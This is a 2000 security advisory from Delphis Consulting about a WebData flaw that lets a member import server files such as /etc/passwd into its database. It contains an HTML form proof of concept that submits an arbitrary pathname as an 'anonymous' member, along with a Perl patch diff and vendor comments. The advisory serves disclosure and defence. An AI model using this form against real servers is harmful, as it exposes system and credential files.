DST2K0039.txt

`============================================================================  
Delphis Consulting Plc  
============================================================================  
  
Security Team Advisories  
[26/09/2000]  
  
[email protected]  
[http://www.delphisplc.com/thinking/whitepapers/]  
  
============================================================================  
Adv : DST2K0039  
Title : Webteachers Webdata: Importing files lower than web root  
possible in to database  
Author : DCIST ([email protected])  
O/S : Linux / WindowsNT  
Product : Webteachers WebData  
Date : 26/09/2000  
  
I. Description  
  
II. Solution  
  
III. Vendor Comments  
  
IV. Disclaimer  
  
  
============================================================================  
  
I. Description  
============================================================================  
  
Vendor URL: http://webteacher.com/webdata/  
  
Delphis Consulting Internet Security Team (DCIST) discovered the following  
vulnerability in WebData under Linux (although not tested under WindowsNT  
we would expect the same results).  
  
Severity: Medium (due to the fact that you need an account in WebData)  
  
It is possible to import any file (i.e. /etc/passwd) from the file system  
which the Webserver user (i.e. nobody) has access to in to the WebData  
database. This enables potenial attackers to gain access to the contents  
of a number of key files (i.e. hosts.allow / hosts.deny .etc) by browsing  
the database afterwards.  
  
Note: You need at least a member account to perform this action.  
  
The below script won't just work but will require a little brain power  
to get working with your database. This enables a user to import  
anonymously any file that the web user has access to.  
  
example script:  
<form action="http://127.0.0.1/cgi-bin/webdata_test.pl" method="post">  
<INPUT TYPE=TEXT SIZE=60 NAME="pathname"><BR>  
<font size=3>Is the file comma or tab delimited?</font></B>  
<select name="delimiter" size=1>  
<option value="comma">comma  
<option value="tab">tab  
<option value="pipe">pipe  
</select>  
<INPUT TYPE=HIDDEN NAME="member" VALUE="anonymous">  
<input type=hidden name="cgifunction" value="import2">  
<BR>  
<INPUT TYPE=SUBMIT VALUE="Import">  
</form>  
  
II. Solution  
============================================================================  
  
Vendor Status: Informed  
  
Currently there us no known solution to this problem. Delphis have provided  
a patch to the perl script below:  
  
[root@dcist cgi-bin]# diff webdata_new.pl webdata_old.pl  
9d8  
< $webroot='/home/httpd/html/';  
4069,4075c4068  
< if (length($user_data{pathname})>0) { # is the user using this method  
< $olddata = $user_data{pathname}; # store this so we have it for  
later  
< $user_data{pathname} = $webroot . $user_data{pathname};  
< $user_data{pathname} =~ s/\.\.//g; # strip out all double dots  
< }  
< print " [$user_data{pathname}] ";  
< open (FIELDS,"<$fieldnames") or &error("could not open $fieldnames");  
  
---  
> open (FIELDS,"<$fieldnames") or &error('could not open $fieldnames');  
4095c4088  
< open (FILE,"<$user_data{pathname}") or &error("Could not open  
$olddata");  
---  
> open (FILE,"<$user_data{pathname}") or &error("Could not open  
$user_data{pathname}");  
  
III. Vendor Comments  
============================================================================  
  
Thank you for the security advise. We will make the patch in the next  
release. Most likely, the patch will simply require the imported file to  
be in the "uploads" directory, to which Webdata already has an absolute  
path, and no slashes will be permitted in the filename.  
  
IV. Disclaimer  
============================================================================  
THE INFORMATION CONTAINED IN THIS ADVISORY IS BELIEVED TO BE ACCURATE AT  
THE TIME OF PRINTING, BUT NO REPRESENTATION OR WARRANTY IS GIVEN, EXPRESS OR  
IMPLIED, AS TO ITS ACCURACY OR COMPLETENESS. NEITHER THE AUTHOR NOR THE  
PUBLISHER ACCEPTS ANY LIABILITY WHATSOEVER FOR ANY DIRECT, INDIRECT OR  
CONSEQUENTIAL LOSS OR DAMAGE ARISING IN ANY WAY FROM ANY USE OF, OR RELIANCE  
PLACED ON, THIS INFORMATION FOR ANY PURPOSE.  
============================================================================  
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`